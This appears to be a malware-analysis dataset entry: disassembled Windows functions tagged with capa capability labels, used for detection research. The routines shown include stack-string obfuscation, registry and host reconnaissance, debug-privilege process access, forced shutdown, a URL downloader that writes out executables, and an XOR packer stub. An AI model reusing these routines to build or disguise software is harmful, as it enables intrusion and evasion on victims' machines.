joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d190
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x48
mov cl, 0x45
mov eax, 4
mov byte [esp + 0x1f], cl
mov byte [esp + 0x22], cl
mov cl, 0x49
push ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov al, 0x41
mov bl, 0x44
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2d], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x1f], bl
mov byte [esp + 0x21], al
mov byte [esp + 0x25], bl
mov al, 0x5c
mov bl, 0x53
mov byte [esp + 0x34], cl
mov byte [esp + 0x3b], cl
mov cl, 0x72
mov byte [esp + 0x24], al
mov byte [esp + 0x27], bl
mov byte [esp + 0x30], al
mov byte [esp + 0x31], bl
mov byte [esp + 0x37], al
mov byte [esp + 0x48], al
mov dl, 0x52
mov bl, 0x73
mov byte [esp + 0x3c], cl
mov byte [esp + 0x40], cl
mov byte [esp + 0x47], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1e], dl
mov byte [esp + 0x22], dl
mov byte [esp + 0x29], dl
mov byte [esp + 0x33], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
push eax
mov dl, 0x65
xor ebx, ebx
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x28], 0x48
mov byte [esp + 0x2c], 0x57
mov byte [esp + 0x34], 0x43
mov byte [esp + 0x37], 0x50
mov byte [esp + 0x38], 0x54
mov byte [esp + 0x3a], 0x4f
mov byte [esp + 0x3b], 0x4e
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x41], dl
mov byte [esp + 0x42], 0x6d
mov byte [esp + 0x44], 0x43
mov byte [esp + 0x45], dl
mov byte [esp + 0x46], 0x6e
mov byte [esp + 0x49], 0x61
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x50
mov byte [esp + 0x4d], 0x6f
mov byte [esp + 0x4e], 0x63
mov byte [esp + 0x4f], dl
mov byte [esp + 0x52], 0x6f
mov byte [esp + 0x55], 0x30
mov byte [esp + 0x56], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 8]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x20], 0x7e
mov byte [esp + 0x21], 0x4d
mov byte [esp + 0x22], 0x48
mov byte [esp + 0x23], 0x7a
mov byte [esp + 0x24], bl
push ebx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop ebx
add esp, 0x48
ret
Function at 0x40d3c0
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
sub esp, 0x430
push ebx
push ebp
mov ebp, dword [esp + 0x444]
push esi
mov esi, dword [esp + 0x444]
mov ecx, ebp
mov edx, ecx
push edi
xor eax, eax
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dl, 0x53
and ecx, 3
mov byte [esp + 0x18], dl
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
mov byte [esp + 0x1a], dl
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x23], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x37], al
mov eax, dword [esp + 0x444]
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x2d], dl
mov byte [esp + 0x31], dl
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x44]
mov bl, 0x74
push ecx
push edx
mov byte [esp + 0x25], 0x59
mov byte [esp + 0x27], 0x54
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x4d
mov byte [esp + 0x2a], 0x5c
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x30], 0x6e
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x43
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x6e
mov byte [esp + 0x35], bl
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x5c
mov byte [esp + 0x40], 0x76
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x63
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], 0x5c
mov byte [esp + 0x46], 0x25
mov byte [esp + 0x47], 0x73
mov byte [esp + 0x48], 0
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebp
push 0
push esi
lea eax, [esp + 0x2c]
push 1
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x34], 0x48
mov byte [esp + 0x35], 0x6f
mov byte [esp + 0x36], 0x73
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
push ecx
push reloc.WS2_32.dll_bind
call fcn.0040af60
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x40d50f
push ebp
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x430
ret
Function at 0x40d520
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x22c
push ebx
push esi
lea eax, [esp + 0x20]
push edi
push eax
mov byte [esp + 0x24], 0x67
mov dword [esp + 0x100], 0
mov dword [esp + 0x28], 0x9c
call dword [0x478684]
mov edx, dword [esp + 0x23c]
lea ecx, [esp + 0x138]
push 0x100
push ecx
push edx
call fcn.0040d3c0
mov ebx, dword [esp + 0x24c]
xor eax, eax
mov dword [esp + 0x1c], eax
add esp, 0xc
mov dword [esp + 0x14], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x14]
lea esi, [esp + 0x138]
mov dword [esp + 0xc4], ecx
mov ecx, 0xc
lea edi, [esp + 0xc8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.0040d190
mov dword [esp + 0xc0], eax
call fcn.0040d380
mov edi, dword [esp + 0x248]
mov dword [esp + 0xfc], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x244]
push 0x118
not ecx
sub edi, ecx
mov dword [esp + 0x104], edx
lea edx, [esp + 0x108]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
mov ecx, ebx
call fcn.00403880
pop edi
pop esi
pop ebx
add esp, 0x22c
ret
Function at 0x40f080
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.0040f3c0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x40f0d7
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
push 0
push edi
call dword [0x4787a0]
push edi
call dword [0x47879c]
add esi, 4
cmp esi, ebx
jb 0x40f0a8
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.0040f3c0
add esp, 8
push 0x64
call dword [0x478798]
mov ecx, edi
call fcn.0040eec0
mov ecx, edi
call fcn.0040eef0
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x40f110
Capabilities:
Acquire debug privileges
Enumerate process modules

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.0040f3c0
add esp, 8
push esi
push 2
call dword [0x478794]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x40f175
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov ebx, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebx], 0x7f
mov ebp, 1
call dword [0x478790]
test eax, eax
je 0x40f2c5
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x40f2b2
cmp eax, 4
je 0x40f2b2
cmp eax, 8
je 0x40f2b2
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [esp + 0x40]
push eax
call esi
lea ecx, [esp + 0x144]
mov edi, eax
push ecx
call esi
lea eax, [edi + eax + 6]
push ebx
lea edi, [eax + ebp]
call dword [0x4787a4]
cmp eax, edi
jae 0x40f23d
push 0x42
push edi
push ebx
call dword [0x47878c]
mov ebx, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebp, 4
call esi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebp, [eax + ebp + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebp, [eax + ebp + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x40f1aa
push 0x42
push ebp
push ebx
call dword [0x47878c]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.0040f3c0
add esp, 8
push edi
call dword [0x47879c]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x40f450
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.0040f3c0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.0040f3c0
add esp, 8
ret
Function at 0x40f640
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [0x4787c8]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x40f610
push eax
push ecx
call sub.MSVCRT.dll__beginthreadex
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [0x4787c4]
mov eax, dword [esp + 0x10]
push eax
call dword [0x4787c0]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x40f6c0
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x40f712
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x40f910
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [0x4787b0]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 8], al
mov byte [esp + 0xa], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], 0x57
mov byte [esp + 9], 0x69
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x6c
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], 0
call fcn.0040f8c0
add esp, 4
test eax, eax
jne 0x40f966
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x40f98a
push esi
call fcn.0040f850
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x40f9a0
Capabilities:
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x42c
push ebx
push ebp
push esi
push edi
xor edi, edi
mov al, 0x6c
push edi
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x29], al
push edi
push edi
lea eax, [esp + 0x1c]
mov esi, 1
mov bl, 0x6f
mov dl, 0x69
mov cl, 0x61
push edi
push eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], esi
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], 0x2f
mov byte [esp + 0x2c], 0x34
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x30
mov byte [esp + 0x2f], 0x20
mov byte [esp + 0x30], 0x28
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x62
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x29
mov byte [esp + 0x3c], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
cmp ebx, edi
jne 0x40fa5b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov ecx, dword [esp + 0x440]
push edi
push bind
push edi
push edi
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
cmp ebp, edi
jne 0x40fa85
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov edx, dword [esp + 0x444]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push edx
call dword [0x4787ac]
cmp eax, 0xffffffff
mov dword [esp + 0x34], eax
je 0x40fb11
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x3c]
push eax
push 0x400
push ecx
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test esi, esi
je 0x40fad7
cmp word [esp + 0x3c], 0x5a4d
jne 0x40fafe
mov eax, dword [esp + 0x2c]
xor esi, esi
lea edx, [esp + 0x38]
push esi
push edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x44]
push eax
push ecx
push edx
call dword [0x4787a8]
mov eax, dword [esp + 0x2c]
test eax, eax
jbe 0x40fb06
jmp 0x40faa7
mov dword [esp + 0x30], 0
mov eax, dword [esp + 0x34]
push eax
call dword [0x4787c0]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call esi
push ebx
call esi
mov ecx, dword [esp + 0x30]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x42c
ret
Function at 0x44e750
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [edx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x44e78a
mov eax, 0xfffff800
jmp 0x44e79a
cmp ax, 0x7ff
jle 0x44e797
mov eax, 0x7ff
jmp 0x44e79a
movsx eax, ax
mov edi, edx
mov word [ecx], ax
lea esi, [edx + 0x10]
lea eax, [ecx + 2]
sub edi, ecx
mov dword [esp + 0x20], esi
mov ecx, 7
mov bx, word [edi + eax]
add esi, 0x10
mov word [eax], bx
mov bx, word [esi - 0x10]
mov word [eax + 0xe], bx
add eax, 2
dec ecx
jne 0x44e7b0
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov esi, 1
mov ax, word [edi]
sub word [edx], ax
mov eax, dword [esp + 0x1c]
cmp dword [ecx + eax*4 + 0xd4], esi
jne 0x44e832
mov ebx, edx
lea esi, [edi + 2]
sub ebx, edi
mov edi, 7
mov cx, word [ebx + esi]
add esi, 2
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi - 2]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x44e7f4
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov ebx, dword [esp + 0x20]
mov dx, word [ebx]
add ebx, 0x10
mov cx, dx
mov dword [esp + 0x18], edx
movsx eax, cx
sub cx, word [edi + esi*2]
cdq
xor eax, edx
mov word [edi + esi*2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
inc esi
cmp esi, 8
mov dword [esp + 0x10], edx
jb 0x44e836
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
Function at 0x40254c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esp + edi*8 - 0x17af0001], ebp
insb byte es:[edi], dx
idiv edi
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00401c78
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40

Function at 0x40258c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
invalid
test dword [esi - 4], eax
invalid
invalid

Function at 0x403094
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec ebp
cld
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.00401c24
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x4030c0
invalid
test dword [eax], eax
stc
invalid
Function at 0x4049d0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x404ada
push dword fs:[eax]
mov dword fs:[eax], esp
test esi, esi
jne 0x404a23
push 0x105
lea eax, [ebp - 0x109]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x109]
mov eax, dword [ebp - 4]
call fcn.00403184
jmp 0x404ac1
call sub.kernel32.dll_GetCommandLineA_1
mov ebx, eax
mov eax, ebx
call fcn.00404984
mov ebx, eax
mov edi, ebx
mov eax, ebx
call fcn.004049a4
mov ebx, eax
test esi, esi
je 0x404a4b
dec esi
test esi, esi
jl 0x404a4b
cmp edi, ebx
jne 0x404a2a
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x110]
mov edx, edi
call fcn.004031c4
mov eax, dword [ebp - 0x110]
mov ecx, ebx
sub ecx, edi
mov edx, 1
call fcn.00403464
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040320c
cmp eax, 2
jl 0x404ac1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp byte [eax], 0x22
jne 0x404ac1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040320c
mov edx, dword [ebp - 4]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x22
jne 0x404ac1
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040320c
mov ecx, eax
sub ecx, 2
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, 2
call fcn.00403464
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404ae1
lea eax, [ebp - 0x110]
call fcn.00403094
ret

Function at 0x404b9c
Capabilities:
Get file attributes

Disassembly:
call fcn.00404490
push eax
call sub.kernel32.dll_GetFileAttributesA
inc eax
je 0x404bb0
dec eax
and al, 0x10
sete al
ret

Function at 0x404f90
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x404ffa
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x105
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
call fcn.004031c4
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.00404db8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405001
lea eax, [ebp - 0x10c]
call fcn.00403094
ret

Function at 0x405008
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x405072
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x105
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
call fcn.004031c4
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.00404db8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405079
lea eax, [ebp - 0x10c]
call fcn.00403094
ret
Function at 0x406d40
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff64
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x9c], edx
mov edi, eax
xor eax, eax
push ebp
push 0x406dfc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x97]
push eax
push 0x97
call sub.kernel32.dll_GetLogicalDriveStringsA
xor ebx, ebx
jmp 0x406dd5
mov esi, ebx
and esi, 0xff
lea eax, [ebp + esi - 0x97]
push eax
call sub.kernel32.dll_GetDriveTypeA
sub eax, 5
je 0x406dd2
mov al, byte [ebp + esi - 0x97]
call fcn.0040258c
cmp al, 0x41
je 0x406dd2
mov al, byte [ebp + esi - 0x97]
call fcn.0040258c
cmp al, 0x42
je 0x406dd2
lea eax, [ebp - 0x9c]
mov dl, byte [ebp + esi - 0x97]
call fcn.004031b4
mov edx, dword [ebp - 0x9c]
mov eax, edi
call fcn.00403214
add bl, 4
xor eax, eax
mov al, bl
cmp byte [ebp + eax - 0x97], 0
jne 0x406d79
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406e03
lea eax, [ebp - 0x9c]
call fcn.00403094
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x28041207
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x79fd4fae
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219